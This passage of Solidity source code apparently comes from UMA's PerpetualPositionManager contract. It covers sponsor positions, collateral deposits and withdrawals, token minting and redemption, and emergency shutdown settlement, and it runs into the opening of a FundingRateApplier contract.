FixedPoint.Unsigned withdrawalRequestAmount;
// Raw collateral value. This value should never be accessed directly -- always use _getFeeAdjustedCollateral().
// To add or remove collateral, use _addCollateral() and _removeCollateral().
FixedPoint.Unsigned rawCollateral;
}
// Maps sponsor addresses to their positions. Each sponsor can have only one position.
mapping(address => PositionData) public positions;
// Keep track of the total collateral and tokens across all positions to enable calculating the
// global collateralization ratio without iterating over all positions.
FixedPoint.Unsigned public totalTokensOutstanding;
// Similar to the rawCollateral in PositionData, this value should not be used directly.
// _getFeeAdjustedCollateral(), _addCollateral() and _removeCollateral() must be used to access and adjust.
FixedPoint.Unsigned public rawTotalPositionCollateral;
// Synthetic token created by this contract.
ExpandedIERC20 public tokenCurrency;
// Unique identifier for DVM price feed ticker.
bytes32 public priceIdentifier;
// Time that has to elapse for a withdrawal request to be considered passed, if no liquidations occur.
// !!Note: The lower the withdrawal liveness value, the more risk incurred by the contract.
// Extremely low liveness values increase the chance that opportunistic invalid withdrawal requests
// expire without liquidation, thereby increasing the insolvency risk for the contract as a whole. An insolvent
// contract is extremely risky for any sponsor or synthetic token holder for the contract.
uint256 public withdrawalLiveness;
// Minimum number of tokens in a sponsor's position.
FixedPoint.Unsigned public minSponsorTokens;
// Expiry price pulled from the DVM in the case of an emergency shutdown.
FixedPoint.Unsigned public emergencyShutdownPrice;
/****************************************
* EVENTS *
****************************************/
event Deposit(address indexed sponsor, uint256 indexed collateralAmount);
event Withdrawal(address indexed sponsor, uint256 indexed collateralAmount);
event RequestWithdrawal(address indexed sponsor, uint256 indexed collateralAmount);
event RequestWithdrawalExecuted(address indexed sponsor, uint256 indexed collateralAmount);
event RequestWithdrawalCanceled(address indexed sponsor, uint256 indexed collateralAmount);
event PositionCreated(address indexed sponsor, uint256 indexed collateralAmount, uint256 indexed tokenAmount);
event NewSponsor(address indexed sponsor);
event EndedSponsorPosition(address indexed sponsor);
event Redeem(address indexed sponsor, uint256 indexed collateralAmount, uint256 indexed tokenAmount);
event Repay(address indexed sponsor, uint256 indexed numTokensRepaid, uint256 indexed newTokenCount);
event EmergencyShutdown(address indexed caller, uint256 shutdownTimestamp);
event SettleEmergencyShutdown(
address indexed caller,
uint256 indexed collateralReturned,
uint256 indexed tokensBurned
);
/****************************************
* MODIFIERS *
****************************************/
modifier onlyCollateralizedPosition(address sponsor) {
_onlyCollateralizedPosition(sponsor);
_;
}
modifier noPendingWithdrawal(address sponsor) {
_positionHasNoPendingWithdrawal(sponsor);
_;
}
/**
* @notice Construct the PerpetualPositionManager.
* @dev Deployer of this contract should consider carefully which parties have ability to mint and burn
* the synthetic tokens referenced by `_tokenAddress`. This contract's security assumes that no external accounts
* can mint new tokens, which could be used to steal all of this contract's locked collateral.
* We recommend to only use synthetic token contracts whose sole Owner role (the role capable of adding & removing roles)
* is assigned to this contract, whose sole Minter role is assigned to this contract, and whose
* total supply is 0 prior to construction of this contract.
* @param _withdrawalLiveness liveness delay, in seconds, for pending withdrawals.
* @param _collateralAddress ERC20 token used as collateral for all positions.
* @param _tokenAddress ERC20 token used as synthetic token.
* @param _finderAddress UMA protocol Finder used to discover other protocol contracts.
* @param _priceIdentifier registered in the DVM for the synthetic.
* @param _fundingRateIdentifier Unique identifier for DVM price feed ticker for child financial contract.
* @param _minSponsorTokens minimum number of tokens that must exist at any time in a position.
* @param _tokenScaling initial scaling to apply to the token value (i.e. scales the tracking index).
* @param _timerAddress Contract that stores the current time in a testing environment. Set to 0x0 for production.
*/
constructor(
uint256 _withdrawalLiveness,
address _collateralAddress,
address _tokenAddress,
address _finderAddress,
bytes32 _priceIdentifier,
bytes32 _fundingRateIdentifier,
FixedPoint.Unsigned memory _minSponsorTokens,
address _configStoreAddress,
FixedPoint.Unsigned memory _tokenScaling,
address _timerAddress
)
public
FundingRateApplier(
_fundingRateIdentifier,
_collateralAddress,
_finderAddress,
_configStoreAddress,
_tokenScaling,
_timerAddress
)
{
require(_getIdentifierWhitelist().isIdentifierSupported(_priceIdentifier));
withdrawalLiveness = _withdrawalLiveness;
tokenCurrency = ExpandedIERC20(_tokenAddress);
minSponsorTokens = _minSponsorTokens;
priceIdentifier = _priceIdentifier;
}
/****************************************
* POSITION FUNCTIONS *
****************************************/
/**
* @notice Transfers `collateralAmount` of `collateralCurrency` into the specified sponsor's position.
* @dev Increases the collateralization level of a position after creation. This contract must be approved to spend
* at least `collateralAmount` of `collateralCurrency`.
* @param sponsor the sponsor to credit the deposit to.
* @param collateralAmount total amount of collateral tokens to be sent to the sponsor's position.
*/
function depositTo(address sponsor, FixedPoint.Unsigned memory collateralAmount)
public
notEmergencyShutdown()
noPendingWithdrawal(sponsor)
fees()
nonReentrant()
{
require(collateralAmount.isGreaterThan(0));
PositionData storage positionData = _getPositionData(sponsor);
// Increase the position and global collateral balance by collateral amount.
_incrementCollateralBalances(positionData, collateralAmount);
emit Deposit(sponsor, collateralAmount.rawValue);
// Move collateral currency from sender to contract.
collateralCurrency.safeTransferFrom(msg.sender, address(this), collateralAmount.rawValue);
}
/**
* @notice Transfers `collateralAmount` of `collateralCurrency` into the caller's position.
* @dev Increases the collateralization level of a position after creation. This contract must be approved to spend
* at least `collateralAmount` of `collateralCurrency`.
* @param collateralAmount total amount of collateral tokens to be sent to the sponsor's position.
*/
function deposit(FixedPoint.Unsigned memory collateralAmount) public {
// This is just a thin wrapper over depositTo that specified the sender as the sponsor.
depositTo(msg.sender, collateralAmount);
}
/**
* @notice Transfers `collateralAmount` of `collateralCurrency` from the sponsor's position to the sponsor.
* @dev Reverts if the withdrawal puts this position's collateralization ratio below the global collateralization
* ratio. In that case, use `requestWithdrawal`. Might not withdraw the full requested amount to account for precision loss.
* @param collateralAmount is the amount of collateral to withdraw.
* @return amountWithdrawn The actual amount of collateral withdrawn.
*/
function withdraw(FixedPoint.Unsigned memory collateralAmount)
public
notEmergencyShutdown()
noPendingWithdrawal(msg.sender)
fees()
nonReentrant()
returns (FixedPoint.Unsigned memory amountWithdrawn)
{
require(collateralAmount.isGreaterThan(0));
PositionData storage positionData = _getPositionData(msg.sender);
// Decrement the sponsor's collateral and global collateral amounts. Check the GCR between decrement to ensure
// position remains above the GCR within the withdrawal. If this is not the case the caller must submit a request.
amountWithdrawn = _decrementCollateralBalancesCheckGCR(positionData, collateralAmount);
emit Withdrawal(msg.sender, amountWithdrawn.rawValue);
// Move collateral currency from contract to sender.
// Note: that we move the amount of collateral that is decreased from rawCollateral (inclusive of fees)
// instead of the user requested amount. This eliminates precision loss that could occur
// where the user withdraws more collateral than rawCollateral is decremented by.
collateralCurrency.safeTransfer(msg.sender, amountWithdrawn.rawValue);
}
/**
* @notice Starts a withdrawal request that, if passed, allows the sponsor to withdraw from their position.
* @dev The request will be pending for `withdrawalLiveness`, during which the position can be liquidated.
* @param collateralAmount the amount of collateral requested to withdraw
*/
function requestWithdrawal(FixedPoint.Unsigned memory collateralAmount)
public
notEmergencyShutdown()
noPendingWithdrawal(msg.sender)
nonReentrant()
{
PositionData storage positionData = _getPositionData(msg.sender);
require(
collateralAmount.isGreaterThan(0) &&
collateralAmount.isLessThanOrEqual(_getFeeAdjustedCollateral(positionData.rawCollateral))
);
// Update the position object for the user.
positionData.withdrawalRequestPassTimestamp = getCurrentTime().add(withdrawalLiveness);
positionData.withdrawalRequestAmount = collateralAmount;
emit RequestWithdrawal(msg.sender, collateralAmount.rawValue);
}
/**
* @notice After a passed withdrawal request (i.e., by a call to `requestWithdrawal` and waiting
* `withdrawalLiveness`), withdraws `positionData.withdrawalRequestAmount` of collateral currency.
* @dev Might not withdraw the full requested amount in order to account for precision loss or if the full requested
* amount exceeds the collateral in the position (due to paying fees).
* @return amountWithdrawn The actual amount of collateral withdrawn.
*/
function withdrawPassedRequest()
external
notEmergencyShutdown()
fees()
nonReentrant()
returns (FixedPoint.Unsigned memory amountWithdrawn)
{
PositionData storage positionData = _getPositionData(msg.sender);
require(
positionData.withdrawalRequestPassTimestamp != 0 &&
positionData.withdrawalRequestPassTimestamp <= getCurrentTime()
);
// If withdrawal request amount is > position collateral, then withdraw the full collateral amount.
// This situation is possible due to fees charged since the withdrawal was originally requested.
FixedPoint.Unsigned memory amountToWithdraw = positionData.withdrawalRequestAmount;
if (positionData.withdrawalRequestAmount.isGreaterThan(_getFeeAdjustedCollateral(positionData.rawCollateral))) {
amountToWithdraw = _getFeeAdjustedCollateral(positionData.rawCollateral);
}
// Decrement the sponsor's collateral and global collateral amounts.
amountWithdrawn = _decrementCollateralBalances(positionData, amountToWithdraw);
// Reset withdrawal request by setting withdrawal amount and withdrawal timestamp to 0.
_resetWithdrawalRequest(positionData);
// Transfer approved withdrawal amount from the contract to the caller.
collateralCurrency.safeTransfer(msg.sender, amountWithdrawn.rawValue);
emit RequestWithdrawalExecuted(msg.sender, amountWithdrawn.rawValue);
}
/**
* @notice Cancels a pending withdrawal request.
*/
function cancelWithdrawal() external notEmergencyShutdown() nonReentrant() {
PositionData storage positionData = _getPositionData(msg.sender);
// No pending withdrawal require message removed to save bytecode.
require(positionData.withdrawalRequestPassTimestamp != 0);
emit RequestWithdrawalCanceled(msg.sender, positionData.withdrawalRequestAmount.rawValue);
// Reset withdrawal request by setting withdrawal amount and withdrawal timestamp to 0.
_resetWithdrawalRequest(positionData);
}
/**
* @notice Creates tokens by creating a new position or by augmenting an existing position. Pulls `collateralAmount
* ` into the sponsor's position and mints `numTokens` of `tokenCurrency`.
* @dev This contract must have the Minter role for the `tokenCurrency`.
* @dev Reverts if minting these tokens would put the position's collateralization ratio below the
* global collateralization ratio. This contract must be approved to spend at least `collateralAmount` of
* `collateralCurrency`.
* @param collateralAmount is the number of collateral tokens to collateralize the position with
* @param numTokens is the number of tokens to mint from the position.
*/
function create(FixedPoint.Unsigned memory collateralAmount, FixedPoint.Unsigned memory numTokens)
public
notEmergencyShutdown()
fees()
nonReentrant()
{
PositionData storage positionData = positions[msg.sender];
// Either the new create ratio or the resultant position CR must be above the current GCR.
require(
(_checkCollateralization(
_getFeeAdjustedCollateral(positionData.rawCollateral).add(collateralAmount),
positionData.tokensOutstanding.add(numTokens)
) || _checkCollateralization(collateralAmount, numTokens)),
"Insufficient collateral"
);
require(positionData.withdrawalRequestPassTimestamp == 0);
if (positionData.tokensOutstanding.isEqual(0)) {
require(numTokens.isGreaterThanOrEqual(minSponsorTokens));
emit NewSponsor(msg.sender);
}
// Increase the position and global collateral balance by collateral amount.
_incrementCollateralBalances(positionData, collateralAmount);
// Add the number of tokens created to the position's outstanding tokens.
positionData.tokensOutstanding = positionData.tokensOutstanding.add(numTokens);
totalTokensOutstanding = totalTokensOutstanding.add(numTokens);
emit PositionCreated(msg.sender, collateralAmount.rawValue, numTokens.rawValue);
// Transfer tokens into the contract from caller and mint corresponding synthetic tokens to the caller's address.
collateralCurrency.safeTransferFrom(msg.sender, address(this), collateralAmount.rawValue);
// Note: revert reason removed to save bytecode.
require(tokenCurrency.mint(msg.sender, numTokens.rawValue));
}
/**
* @notice Burns `numTokens` of `tokenCurrency` and sends back the proportional amount of `collateralCurrency`.
* @dev Can only be called by a token sponsor. Might not redeem the full proportional amount of collateral
* in order to account for precision loss. This contract must be approved to spend at least `numTokens` of
* `tokenCurrency`.
* @dev This contract must have the Burner role for the `tokenCurrency`.
* @param numTokens is the number of tokens to be burnt for a commensurate amount of collateral.
* @return amountWithdrawn The actual amount of collateral withdrawn.
*/
function redeem(FixedPoint.Unsigned memory numTokens)
public
notEmergencyShutdown()
noPendingWithdrawal(msg.sender)
fees()
nonReentrant()
returns (FixedPoint.Unsigned memory amountWithdrawn)
{
PositionData storage positionData = _getPositionData(msg.sender);
require(numTokens.isLessThanOrEqual(positionData.tokensOutstanding));
FixedPoint.Unsigned memory fractionRedeemed = numTokens.div(positionData.tokensOutstanding);
FixedPoint.Unsigned memory collateralRedeemed =
fractionRedeemed.mul(_getFeeAdjustedCollateral(positionData.rawCollateral));
// If redemption returns all tokens the sponsor has then we can delete their position. Else, downsize.
if (positionData.tokensOutstanding.isEqual(numTokens)) {
amountWithdrawn = _deleteSponsorPosition(msg.sender);
} else {
// Decrement the sponsor's collateral and global collateral amounts.
amountWithdrawn = _decrementCollateralBalances(positionData, collateralRedeemed);
// Decrease the sponsors position tokens size. Ensure it is above the min sponsor size.
FixedPoint.Unsigned memory newTokenCount = positionData.tokensOutstanding.sub(numTokens);
require(newTokenCount.isGreaterThanOrEqual(minSponsorTokens));
positionData.tokensOutstanding = newTokenCount;
// Update the totalTokensOutstanding after redemption.
totalTokensOutstanding = totalTokensOutstanding.sub(numTokens);
}
emit Redeem(msg.sender, amountWithdrawn.rawValue, numTokens.rawValue);
// Transfer collateral from contract to caller and burn callers synthetic tokens.
collateralCurrency.safeTransfer(msg.sender, amountWithdrawn.rawValue);
tokenCurrency.safeTransferFrom(msg.sender, address(this), numTokens.rawValue);
tokenCurrency.burn(numTokens.rawValue);
}
/**
* @notice Burns `numTokens` of `tokenCurrency` to decrease sponsors position size, without sending back `collateralCurrency`.
* This is done by a sponsor to increase position CR. Resulting size is bounded by minSponsorTokens.
* @dev Can only be called by token sponsor. This contract must be approved to spend `numTokens` of `tokenCurrency`.
* @dev This contract must have the Burner role for the `tokenCurrency`.
* @param numTokens is the number of tokens to be burnt from the sponsor's debt position.
*/
function repay(FixedPoint.Unsigned memory numTokens)
public
notEmergencyShutdown()
noPendingWithdrawal(msg.sender)
fees()
nonReentrant()
{
PositionData storage positionData = _getPositionData(msg.sender);
require(numTokens.isLessThanOrEqual(positionData.tokensOutstanding));
// Decrease the sponsors position tokens size. Ensure it is above the min sponsor size.
FixedPoint.Unsigned memory newTokenCount = positionData.tokensOutstanding.sub(numTokens);
require(newTokenCount.isGreaterThanOrEqual(minSponsorTokens));
positionData.tokensOutstanding = newTokenCount;
// Update the totalTokensOutstanding after redemption.
totalTokensOutstanding = totalTokensOutstanding.sub(numTokens);
emit Repay(msg.sender, numTokens.rawValue, newTokenCount.rawValue);
// Transfer the tokens back from the sponsor and burn them.
tokenCurrency.safeTransferFrom(msg.sender, address(this), numTokens.rawValue);
tokenCurrency.burn(numTokens.rawValue);
}
/**
* @notice If the contract is emergency shutdown then all token holders and sponsors can redeem their tokens or
* remaining collateral for underlying at the prevailing price defined by a DVM vote.
* @dev This burns all tokens from the caller of `tokenCurrency` and sends back the resolved settlement value of
* `collateralCurrency`. Might not redeem the full proportional amount of collateral in order to account for
* precision loss. This contract must be approved to spend `tokenCurrency` at least up to the caller's full balance.
* @dev This contract must have the Burner role for the `tokenCurrency`.
* @dev Note that this function does not call the updateFundingRate modifier to update the funding rate as this
* function is only called after an emergency shutdown & there should be no funding rate updates after the shutdown.
* @return amountWithdrawn The actual amount of collateral withdrawn.
*/
function settleEmergencyShutdown()
external
isEmergencyShutdown()
fees()
nonReentrant()
returns (FixedPoint.Unsigned memory amountWithdrawn)
{
// Set the emergency shutdown price as resolved from the DVM. If DVM has not resolved will revert.
if (emergencyShutdownPrice.isEqual(FixedPoint.fromUnscaledUint(0))) {
emergencyShutdownPrice = _getOracleEmergencyShutdownPrice();
}
// Get caller's tokens balance and calculate amount of underlying entitled to them.
FixedPoint.Unsigned memory tokensToRedeem = FixedPoint.Unsigned(tokenCurrency.balanceOf(msg.sender));
FixedPoint.Unsigned memory totalRedeemableCollateral =
_getFundingRateAppliedTokenDebt(tokensToRedeem).mul(emergencyShutdownPrice);
// If the caller is a sponsor with outstanding collateral they are also entitled to their excess collateral after their debt.
PositionData storage positionData = positions[msg.sender];
if (_getFeeAdjustedCollateral(positionData.rawCollateral).isGreaterThan(0)) {
// Calculate the underlying entitled to a token sponsor. This is collateral - debt in underlying with
// the funding rate applied to the outstanding token debt.
FixedPoint.Unsigned memory tokenDebtValueInCollateral =
_getFundingRateAppliedTokenDebt(positionData.tokensOutstanding).mul(emergencyShutdownPrice);
FixedPoint.Unsigned memory positionCollateral = _getFeeAdjustedCollateral(positionData.rawCollateral);
// If the debt is greater than the remaining collateral, they cannot redeem anything.
FixedPoint.Unsigned memory positionRedeemableCollateral =
tokenDebtValueInCollateral.isLessThan(positionCollateral)
? positionCollateral.sub(tokenDebtValueInCollateral)
: FixedPoint.Unsigned(0);
// Add the number of redeemable tokens for the sponsor to their total redeemable collateral.
totalRedeemableCollateral = totalRedeemableCollateral.add(positionRedeemableCollateral);
// Reset the position state as all the value has been removed after settlement.
delete positions[msg.sender];
emit EndedSponsorPosition(msg.sender);
}
// Take the min of the remaining collateral and the collateral "owed". If the contract is undercapitalized,
// the caller will get as much collateral as the contract can pay out.
FixedPoint.Unsigned memory payout =
FixedPoint.min(_getFeeAdjustedCollateral(rawTotalPositionCollateral), totalRedeemableCollateral);
// Decrement total contract collateral and outstanding debt.
amountWithdrawn = _removeCollateral(rawTotalPositionCollateral, payout);
totalTokensOutstanding = totalTokensOutstanding.sub(tokensToRedeem);
emit SettleEmergencyShutdown(msg.sender, amountWithdrawn.rawValue, tokensToRedeem.rawValue);
// Transfer tokens & collateral and burn the redeemed tokens.
collateralCurrency.safeTransfer(msg.sender, amountWithdrawn.rawValue);
tokenCurrency.safeTransferFrom(msg.sender, address(this), tokensToRedeem.rawValue);
tokenCurrency.burn(tokensToRedeem.rawValue);
}
/****************************************
* GLOBAL STATE FUNCTIONS *
****************************************/
/**
* @notice Premature contract settlement under emergency circumstances.
* @dev Only the governor can call this function as they are permissioned within the `FinancialContractAdmin`.
* Upon emergency shutdown, the contract settlement time is set to the shutdown time. This enables withdrawal
* to occur via the `settleEmergencyShutdown` function.
*/
function emergencyShutdown() external override notEmergencyShutdown() fees() nonReentrant() {
// Note: revert reason removed to save bytecode.
require(msg.sender == _getFinancialContractsAdminAddress());
emergencyShutdownTimestamp = getCurrentTime();
_requestOraclePrice(emergencyShutdownTimestamp);
emit EmergencyShutdown(msg.sender, emergencyShutdownTimestamp);
}
/**
* @notice Theoretically supposed to pay fees and move money between margin accounts to make sure they
* reflect the NAV of the contract. However, this functionality doesn't apply to this contract.
* @dev This is supposed to be implemented by any contract that inherits `AdministrateeInterface` and callable
* only by the Governor contract. This method is therefore minimally implemented in this contract and does nothing.
*/
function remargin() external override {
return;
}
/**
* @notice Accessor method for a sponsor's collateral.
* @dev This is necessary because the struct returned by the positions() method shows
* rawCollateral, which isn't a user-readable value.
* @dev This method accounts for pending regular fees that have not yet been withdrawn from this contract, for
* example if the `lastPaymentTime != currentTime`.
* @param sponsor address whose collateral amount is retrieved.
* @return collateralAmount amount of collateral within a sponsors position.
*/
function getCollateral(address sponsor)
external
view
nonReentrantView()
returns (FixedPoint.Unsigned memory collateralAmount)
{
// Note: do a direct access to avoid the validity check.
return _getPendingRegularFeeAdjustedCollateral(_getFeeAdjustedCollateral(positions[sponsor].rawCollateral));
}
/**
* @notice Accessor method for the total collateral stored within the PerpetualPositionManager.
* @return totalCollateral amount of all collateral within the position manager.
*/
function totalPositionCollateral()
external
view
nonReentrantView()
returns (FixedPoint.Unsigned memory totalCollateral)
{
return _getPendingRegularFeeAdjustedCollateral(_getFeeAdjustedCollateral(rawTotalPositionCollateral));
}
function getFundingRateAppliedTokenDebt(FixedPoint.Unsigned memory rawTokenDebt)
external
view
nonReentrantView()
returns (FixedPoint.Unsigned memory totalCollateral)
{
return _getFundingRateAppliedTokenDebt(rawTokenDebt);
}
/****************************************
* INTERNAL FUNCTIONS *
****************************************/
// Reduces a sponsor's position and global counters by the specified parameters. Handles deleting the entire
// position if the entire position is being removed. Does not make any external transfers.
function _reduceSponsorPosition(
address sponsor,
FixedPoint.Unsigned memory tokensToRemove,
FixedPoint.Unsigned memory collateralToRemove,
FixedPoint.Unsigned memory withdrawalAmountToRemove
) internal {
PositionData storage positionData = _getPositionData(sponsor);
// If the entire position is being removed, delete it instead.
if (
tokensToRemove.isEqual(positionData.tokensOutstanding) &&
_getFeeAdjustedCollateral(positionData.rawCollateral).isEqual(collateralToRemove)
) {
_deleteSponsorPosition(sponsor);
return;
}
// Decrement the sponsor's collateral and global collateral amounts.
_decrementCollateralBalances(positionData, collateralToRemove);
// Ensure that the sponsor will meet the min position size after the reduction.
positionData.tokensOutstanding = positionData.tokensOutstanding.sub(tokensToRemove);
require(positionData.tokensOutstanding.isGreaterThanOrEqual(minSponsorTokens));
// Decrement the position's withdrawal amount.
positionData.withdrawalRequestAmount = positionData.withdrawalRequestAmount.sub(withdrawalAmountToRemove);
// Decrement the total outstanding tokens in the overall contract.
totalTokensOutstanding = totalTokensOutstanding.sub(tokensToRemove);
}
// Deletes a sponsor's position and updates global counters. Does not make any external transfers.
function _deleteSponsorPosition(address sponsor) internal returns (FixedPoint.Unsigned memory) {
PositionData storage positionToLiquidate = _getPositionData(sponsor);
FixedPoint.Unsigned memory startingGlobalCollateral = _getFeeAdjustedCollateral(rawTotalPositionCollateral);
// Remove the collateral and outstanding from the overall total position.
rawTotalPositionCollateral = rawTotalPositionCollateral.sub(positionToLiquidate.rawCollateral);
totalTokensOutstanding = totalTokensOutstanding.sub(positionToLiquidate.tokensOutstanding);
// Reset the sponsors position to have zero outstanding and collateral.
delete positions[sponsor];
emit EndedSponsorPosition(sponsor);
// Return fee-adjusted amount of collateral deleted from position.
return startingGlobalCollateral.sub(_getFeeAdjustedCollateral(rawTotalPositionCollateral));
}
function _pfc() internal view virtual override returns (FixedPoint.Unsigned memory) {
return _getFeeAdjustedCollateral(rawTotalPositionCollateral);
}
function _getPositionData(address sponsor)
internal
view
onlyCollateralizedPosition(sponsor)
returns (PositionData storage)
{
return positions[sponsor];
}
function _getIdentifierWhitelist() internal view returns (IdentifierWhitelistInterface) {
return IdentifierWhitelistInterface(finder.getImplementationAddress(OracleInterfaces.IdentifierWhitelist));
}
function _getOracle() internal view returns (OracleInterface) {
return OracleInterface(finder.getImplementationAddress(OracleInterfaces.Oracle));
}
function _getFinancialContractsAdminAddress() internal view returns (address) {
return finder.getImplementationAddress(OracleInterfaces.FinancialContractsAdmin);
}
// Requests a price for `priceIdentifier` at `requestedTime` from the Oracle.
function _requestOraclePrice(uint256 requestedTime) internal {
_getOracle().requestPrice(priceIdentifier, requestedTime);
}
// Fetches a resolved Oracle price from the Oracle. Reverts if the Oracle hasn't resolved for this request.
function _getOraclePrice(uint256 requestedTime) internal view returns (FixedPoint.Unsigned memory price) {
// Create an instance of the oracle and get the price. If the price is not resolved revert.
int256 oraclePrice = _getOracle().getPrice(priceIdentifier, requestedTime);
// For now we don't want to deal with negative prices in positions.
if (oraclePrice < 0) {
oraclePrice = 0;
}
return FixedPoint.Unsigned(uint256(oraclePrice));
}
// Fetches a resolved Oracle price from the Oracle. Reverts if the Oracle hasn't resolved for this request.
function _getOracleEmergencyShutdownPrice() internal view returns (FixedPoint.Unsigned memory) {
return _getOraclePrice(emergencyShutdownTimestamp);
}
// Reset withdrawal request by setting the withdrawal request and withdrawal timestamp to 0.
function _resetWithdrawalRequest(PositionData storage positionData) internal {
positionData.withdrawalRequestAmount = FixedPoint.fromUnscaledUint(0);
positionData.withdrawalRequestPassTimestamp = 0;
}
// Ensure individual and global consistency when increasing collateral balances. Returns the change to the position.
function _incrementCollateralBalances(
PositionData storage positionData,
FixedPoint.Unsigned memory collateralAmount
) internal returns (FixedPoint.Unsigned memory) {
_addCollateral(positionData.rawCollateral, collateralAmount);
return _addCollateral(rawTotalPositionCollateral, collateralAmount);
}
// Ensure individual and global consistency when decrementing collateral balances. Returns the change to the
// position. We elect to return the amount that the global collateral is decreased by, rather than the individual
// position's collateral, because we need to maintain the invariant that the global collateral is always
// <= the collateral owned by the contract to avoid reverts on withdrawals. The amount returned = amount withdrawn.
function _decrementCollateralBalances(
PositionData storage positionData,
FixedPoint.Unsigned memory collateralAmount
) internal returns (FixedPoint.Unsigned memory) {
_removeCollateral(positionData.rawCollateral, collateralAmount);
return _removeCollateral(rawTotalPositionCollateral, collateralAmount);
}
// Ensure individual and global consistency when decrementing collateral balances. Returns the change to the position.
// This function is similar to the _decrementCollateralBalances function except this function checks position GCR
// between the decrements. This ensures that collateral removal will not leave the position undercollateralized.
function _decrementCollateralBalancesCheckGCR(
PositionData storage positionData,
FixedPoint.Unsigned memory collateralAmount
) internal returns (FixedPoint.Unsigned memory) {
_removeCollateral(positionData.rawCollateral, collateralAmount);
require(_checkPositionCollateralization(positionData), "CR below GCR");
return _removeCollateral(rawTotalPositionCollateral, collateralAmount);
}
// These internal functions are supposed to act identically to modifiers, but re-used modifiers
// unnecessarily increase contract bytecode size.
// source: https://blog.polymath.network/solidity-tips-and-tricks-to-save-gas-and-reduce-bytecode-size-c44580b218e6
function _onlyCollateralizedPosition(address sponsor) internal view {
require(_getFeeAdjustedCollateral(positions[sponsor].rawCollateral).isGreaterThan(0));
}
// Note: This checks whether an already existing position has a pending withdrawal. This cannot be used on the
// `create` method because it is possible that `create` is called on a new position (i.e. one without any collateral
// or tokens outstanding) which would fail the `onlyCollateralizedPosition` modifier on `_getPositionData`.
function _positionHasNoPendingWithdrawal(address sponsor) internal view {
require(_getPositionData(sponsor).withdrawalRequestPassTimestamp == 0);
}
/****************************************
* PRIVATE FUNCTIONS *
****************************************/
function _checkPositionCollateralization(PositionData storage positionData) private view returns (bool) {
return
_checkCollateralization(
_getFeeAdjustedCollateral(positionData.rawCollateral),
positionData.tokensOutstanding
);
}
// Checks whether the provided `collateral` and `numTokens` have a collateralization ratio above the global
// collateralization ratio.
function _checkCollateralization(FixedPoint.Unsigned memory collateral, FixedPoint.Unsigned memory numTokens)
private
view
returns (bool)
{
FixedPoint.Unsigned memory global =
_getCollateralizationRatio(_getFeeAdjustedCollateral(rawTotalPositionCollateral), totalTokensOutstanding);
FixedPoint.Unsigned memory thisChange = _getCollateralizationRatio(collateral, numTokens);
return !global.isGreaterThan(thisChange);
}
function _getCollateralizationRatio(FixedPoint.Unsigned memory collateral, FixedPoint.Unsigned memory numTokens)
private
pure
returns (FixedPoint.Unsigned memory ratio)
{
return numTokens.isLessThanOrEqual(0) ? FixedPoint.fromUnscaledUint(0) : collateral.div(numTokens);
}
function _getTokenAddress() internal view override returns (address) {
return address(tokenCurrency);
}
}
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity ^0.6.0;
pragma experimental ABIEncoderV2;
import "@openzeppelin/contracts/utils/SafeCast.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/token/ERC20/SafeERC20.sol";
import "../../common/implementation/Lockable.sol";
import "../../common/implementation/FixedPoint.sol";
import "../../common/implementation/Testable.sol";
import "../../oracle/implementation/Constants.sol";
import "../../oracle/interfaces/OptimisticOracleInterface.sol";
import "../perpetual-multiparty/ConfigStoreInterface.sol";
import "./EmergencyShutdownable.sol";
import "./FeePayer.sol";
/**
* @title FundingRateApplier contract.
* @notice Provides funding rate payment functionality for the Perpetual contract.
*/
abstract contract FundingRateApplier is EmergencyShutdownable, FeePayer {
using FixedPoint for FixedPoint.Unsigned;
using FixedPoint for FixedPoint.Signed;
using SafeERC20 for IERC20;
using SafeMath for uint256;
/****************************************
* FUNDING RATE APPLIER DATA STRUCTURES *
****************************************/
struct FundingRate {
// Current funding rate value.
FixedPoint.Signed rate;
// Identifier to retrieve the funding rate.
bytes32 identifier;
// Tracks the cumulative funding payments that have been paid to the sponsors.
// The multiplier starts at 1, and is updated by computing cumulativeFundingRateMultiplier * (1 + effectivePayment).
// Put another way, the cumulativeFeeMultiplier is (1 + effectivePayment1) * (1 + effectivePayment2) ...
// For example:
// The cumulativeFundingRateMultiplier should start at 1.
// If a 1% funding payment is paid to sponsors, the multiplier should update to 1.01.
// If another 1% fee is charged, the multiplier should be 1.01^2 (1.0201).
FixedPoint.Unsigned cumulativeMultiplier;
// Most recent time that the funding rate was updated.
uint256 updateTime;
// Most recent time that the funding rate was applied and changed the cumulative multiplier.
uint256 applicationTime;
// The time for the active (if it exists) funding rate proposal. 0 otherwise.
uint256 proposalTime;
}
FundingRate public fundingRate;
// Remote config store managed an owner.
ConfigStoreInterface public configStore;
/****************************************
* EVENTS *
****************************************/
event FundingRateUpdated(int256 newFundingRate, uint256 indexed updateTime, uint256 reward);
/****************************************
* MODIFIERS *
****************************************/
// This is overridden to both pay fees (which is done by applyFundingRate()) and apply the funding rate.
modifier fees override {
// Note: the funding rate is applied on every fee-accruing transaction, where the total change is simply the
// rate applied linearly since the last update. This implies that the compounding rate depends on the frequency
// of update transactions that have this modifier, and it never reaches the ideal of continuous compounding.
// This approximate-compounding pattern is common in the Ethereum ecosystem because of the complexity of
// compounding data on-chain.
applyFundingRate();
_;
}
// Note: this modifier is intended to be used if the caller intends to _only_ pay regular fees.
modifier paysRegularFees {
payRegularFees();
_;
}
/**
* @notice Constructs the FundingRateApplier contract. Called by child contracts.
* @param _fundingRateIdentifier identifier that tracks the funding rate of this contract.
* @param _collateralAddress address of the collateral token.
* @param _finderAddress Finder used to discover financial-product-related contracts.
* @param _configStoreAddress address of the remote configuration store managed by an external owner.
* @param _tokenScaling initial scaling to apply to the token value (i.e. scales the tracking index).
* @param _timerAddress address of the timer contract in test envs, otherwise 0x0.
*/
constructor(
bytes32 _fundingRateIdentifier,
address _collateralAddress,
address _finderAddress,
address _configStoreAddress,
FixedPoint.Unsigned memory _tokenScaling,
address _timerAddress
) public FeePayer(_collateralAddress, _finderAddress, _timerAddress) EmergencyShutdownable() {
uint256 currentTime = getCurrentTime();
fundingRate.updateTime = currentTime;
fundingRate.applicationTime = currentTime;
// Seed the cumulative multiplier with the token scaling, from which it will be scaled as funding rates are
// applied over time.
fundingRate.cumulativeMultiplier = _tokenScaling;
fundingRate.identifier = _fundingRateIdentifier;
configStore = ConfigStoreInterface(_configStoreAddress);
}
/**
* @notice This method takes 3 distinct actions:
* 1. Pays out regular fees.
